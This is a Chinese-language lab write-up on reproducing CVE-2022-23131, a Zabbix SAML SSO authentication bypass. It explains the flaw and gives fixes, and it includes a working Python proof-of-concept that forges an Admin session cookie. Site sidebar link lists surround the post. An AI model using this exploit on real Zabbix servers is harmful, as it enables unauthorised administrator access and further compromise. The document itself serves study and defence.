当前位置:网站首页>CVE-2022-23131 Zabbix SAML SSO认证绕过漏洞
CVE-2022-23131 Zabbix SAML SSO认证绕过漏洞
2022-07-17 05:03:00 【wavesky111】
一、漏洞概述
Zabbix 是一个非常流行的开源监控平台,用于收集、集中和跟踪整个基础设施中的 CPU 负载和网络流量等指标。它与 Pandora FMS 和 Nagios 等解决方案非常相似。由于其受欢迎程度、功能和在大多数公司网络中的特权地位,Zabbix 是威胁参与者的高调目标。
Zabbix对客户端提交的Cookie会话存在不安全的存储方式,导致在启动SAML SSO认证模式的前提下,恶意用户可通过构造特殊请求绕过认证,获取管理员权限,进而可实现RCE。
——https://blog.csdn.net/weixin_46944519/article/details/123131257
二、影响版本
- 4.0.36
- 5.0.18
- 5.4.8
- 6.0.0alpha1
三、漏洞原理
- 什么是SAML SSO 身份验证
大白话就是当伪造的cookie中存在saml_data时,获取username_attribute的数据,如果该用户真实存在则会生成一个sessionid从而实现身份认证绕过。
大佬链接:https://blog.csdn.net/weixin_46944519/article/details/123131257
四、漏洞复现环境
Kali Linux + Vulfocus
渗透机:Kali Linux
靶机:Vulfocus
五、实验步骤
1.开启镜像环境,访问页面


2.开启kali自带的DirBuster子目录爆破工具,找到存在一个/zabbix/index.php路径

3.访问该URL

4.使用EditThisCookie插件,准备换Admin的Cookie

5.使用该poc获得加密后的PayLoad(先贴上大佬的poc,后面再自己尝试写一个~)
1 # coding
2
3 import sys
4 import requests
5 import re,base64,urllib.parse,json
6 # 禁用警告
7 from requests.packages.urllib3.exceptions import InsecureRequestWarning
8 requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
9
10 def runPoc(url):
11 response = requests.get(url,verify=False)
12
13 cookie = response.headers.get("Set-Cookie")
14
15 sessionReg = re.compile("zbx_session=(.*?);")
16 try:
17 session = re.findall(sessionReg,cookie)[0]
18
19 base64_decode = base64.b64decode(urllib.parse.unquote(session,encoding="utf-8"))
20 session_json = json.loads(base64_decode)
21
22 payload = '{"saml_data":{"username_attribute":"Admin"},"sessionid":"%s","sign":"%s"}'%(session_json["sessionid"],session_json["sign"])
23
24 print("未加密Payload:" + payload)
25 print('\n')
26 payload_encode = urllib.parse.quote(base64.b64encode(payload.encode()))
27
28 print("加密后Payload:" + payload_encode)
29
30 except IndexError:
31 print("[-] 不存在漏洞")
32
33 if __name__ == '__main__':
34 try:
35 url = sys.argv[1]
36 runPoc(url)
37 except IndexError:
38 print("""
39 Use: python CVE-2022-23131.py http://xxxxxxxxx.com
40
41 By:MrHatSec""")
————https://blog.csdn.net/MrHatSec/article/details/123997989
6.切换Cookie,即可实现绕过登录

7.很尴尬的是没找到flag……有哪位同仁找到的话记得和我说一下
六、修复方式
1、禁用 SAML 身份验证
2、升级安全版本:https://support.zabbix.com/browse/ZBX-20350
七、Poc
边栏推荐
- Service end interface test - test point of interface test [Hangzhou multi tester] [Hangzhou multi tester _ Wang Sir]
- swagger的坑
- [FPGA tutorial case 27] realize dual port RAM ping-pong structure through Verilog
- Project team summer vacation summary 02
- Freshman task-5
- 知识图谱de构建与应用(七):大规模知识图谱预训练
- shardingsphere内核原理
- Masm32 writer
- Mysql8.026-- view (bottom)
- 用FastApi进行WEB开发
猜你喜欢
![Money making master applet [latest version 5.9.9] mall / instant withdrawal of commission / distribution promotion / phone recharge / is meituan hungry for takeout](/img/8b/29027c2dee4ef764bb2e4b5b499a23.jpg)
Money making master applet [latest version 5.9.9] mall / instant withdrawal of commission / distribution promotion / phone recharge / is meituan hungry for takeout
![[vuforia] simple logic of image recognition](/img/c4/c3640fd37ec75d89da367d310b10a6.png)
[vuforia] simple logic of image recognition

Database learning notes (I) retrieval data

Project team summer vacation summary 02

Conception finale: système distribué de gestion de la santé pour la prévention des épidémies hautement simultanées basé sur vue + socket + redis

TiDB 性能优化概述

索引库操作基本操作

UE-插件 ElectronicNodes 5.0.0/4.23-4.27

一文了解配置中心

一文了解Zipkin
随机推荐
Mongo Db单机版的安装和快速使用
脱敏字段举例
快速掌握MIPI开发攻略
TopicExchange交换机简单使用。
[unity] interactive double click
POC——DVWA‘s File Inclusion
RestClient操作文档
MYSQL数据库表A数据同步到表B
微服务高并发服务治理
Differences between substr and substring in JS
.sh脚本编写
And predicts that nerf will eventually replace deepfake
itext修改pdf文字
Base64与文件互转
Masm32 writer
3. Restclient query document
有望取代Deepfake?揭秘今年超火的NeRF技
Common PostgreSQL data operation notes (updated from time to time)
【FPGA教程案例26】在FPGA中通过verilog来实现小数的基础运算
邮箱发送邮件(包含附件,网易、QQ)